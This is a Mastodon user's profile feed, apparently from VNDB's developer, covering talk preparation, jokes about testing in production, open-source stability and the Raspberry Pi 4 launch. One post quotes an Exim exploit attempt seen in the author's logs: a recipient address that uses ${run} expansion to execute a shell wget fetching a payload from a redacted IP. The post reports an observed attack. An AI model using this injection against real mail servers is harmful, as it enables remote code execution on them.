@epicmorphism Workshop on visual media information and databases at a university.

But with only 20 minutes I won't be able to cover much in-depth anyway, so I think I'll go for a general sales-like talk instead (mainly covering the why and what, perhaps a little bit about the how).

Gotta prepare a 20 minute introduction to present VNDB, but I've no clue what aspects the audience is interested in. Maybe I'll just prepare an hour worth of slides and decide then and there what to cover....

@Wolf480pl I'm an engineer, not an academic. Ignoring practical concerns is near impossible for me. 😅

But prolly C. At this point I consider Chrome a lot more dangerous than Discord or other specific sites. And I don't have to introduce performance regressions in JS-heavy webapps, they already do that by design.

@Wolf480pl I'd much rather introduce some subtle and ridiculously hard to fix performance regressions. That at least will have a chance at getting released and staying around unfixed for longer.

The impact of reading SciFi on error messages. :blobcat:

@alexcleac Yup, doing some controlled tests in production is fine if that's what you intended, but mixing up environments like I just did is a recipy for disaster. :blobsweat:

Note to self: If you play around and test things in the production environment, don't expect the changes to be visible in the development environment.

I'm totally going to do a DROP TABLE on the production database one day... :blobblush:

@hunter Depends on the context. If you have control over the users of your software (e.g. you develop some internal API), then sure, break everything. But when many people depend on your software, breaking changes tend to suck.

I mean, I very much hate it when updating my system comes with many surprises and takes a lot of time. If developers want to break things in order to improve, I'd much prefer they'd fork their own project (and maintain the old version) so that I can make the switch when I have the time.

Excellent discussion on OSS software development, distribution, stability and security. Some highlights:
- Security vulnerabilities aren't always assigned CVEs.
- Security fixes don't always make it into stable Linux distros.
- Developers need to pay more attention to backwards compatibility.
- There's never enough developers for the amount of work to be done.

lwn.net/SubscriberLink/791855/

@Wolf480pl No clue, my exim config dropped the connection before accepting the mail body.

@Wolf480pl Looks like exim: exim.org/exim-html-current/doc it has a ${run.. command with that syntax.

I wonder what kind of configuration or version you need for exim to perform string expansion on incoming addresses. It didn't seem to have worked on my system.

@Wolf480pl Yup, 3 attempts on the 19th:

root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x20<ip>\x2ftmp\x2f<ip>\x22}}@domain

How I deal with the heat. Or rather, how my PC does.

@jasper That smells like the Commons Clause, except perhaps even more strict. Lots has been written about that, e.g. lwn.net/Articles/763179/

Calling that "open source" muddles the meaning of the term.

Ayo boosted

Surprise, surprise, Raspberry Pi 4 has been launched!

Faster CPU, dual 4k HDMI support, up to 4GB RAM, USB type C, USB3 and (finally!) no more bottlenecking the ethernet port over USB2: full gigabit speeds!

Also: same old price 😍

I love it when I play a 1 hour techno remix while traveling and it ends 10 seconds before I reach the front door of my appartment. That DJ had excellent timing!

@abs I don't even know how to prepare for that one.

Show more
niu.moe

Welcome to your niu world ! We are a cute and loving international community O(≧▽≦)O !